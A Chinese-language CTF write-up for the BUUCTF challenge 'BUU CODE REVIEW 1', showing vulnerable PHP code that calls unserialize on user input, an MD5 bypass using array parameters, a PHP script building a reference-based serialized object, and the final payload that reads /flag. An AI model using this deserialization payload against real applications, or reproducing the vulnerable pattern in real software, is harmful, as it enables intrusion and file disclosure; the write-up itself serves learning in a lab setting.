1.BUUCTF刷题-BUU CODE REVIEW 1
1.BUU CODE REVIEW 1
代码审计题,利用反序列化漏洞。
反序列化漏洞:
代码分析:
<?php
highlight_file(__FILE__); //高亮显示当前文件
class BUU {
public $correct = "";
public $input = "";
public function __destruct() { //php中的析构函数,对象结束生命周期时调用
try {
$this->correct = base64_encode(uniqid()); //correct=base64_encode(uniqid()),uniqid()的功能是生成一个唯一的id
if($this->correct === $this->input) {
echo file_get_contents("/flag"); //判断correct和input是否为强相等,若是,打印"/flag"文件
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
//这个判断语句的意思是md51和md52的值相同但类型不同
unserialize($_POST['obj']); //将serialize()函数序列化后的对象进行反序列化
}
}
}
想要得到flag,就得运行析构函数。这一点利用反序列漏洞可以做到。反序列函数前的三个判断,通过提交数据,以及MD5绕过可以通过。
MD5绕过介绍博客
首先构造利用反序列漏洞要用到的py程序,这个程序应包含以下内容:1.创建一个BUU类的对象;2.类中的correct和input强相等;3.进行序列化。
<?php
class BUU {
public $correct="";
public $input="";
}
$obj = new BUU();
$obj->input = &$obj->correct;
echo serialize($obj);
?>
得到结果
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
最后提交payload,获取flag。
$_GET=?pleaseget=1
$_POST=pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
今天有点摸鱼了:(
明天争取多搞点内容。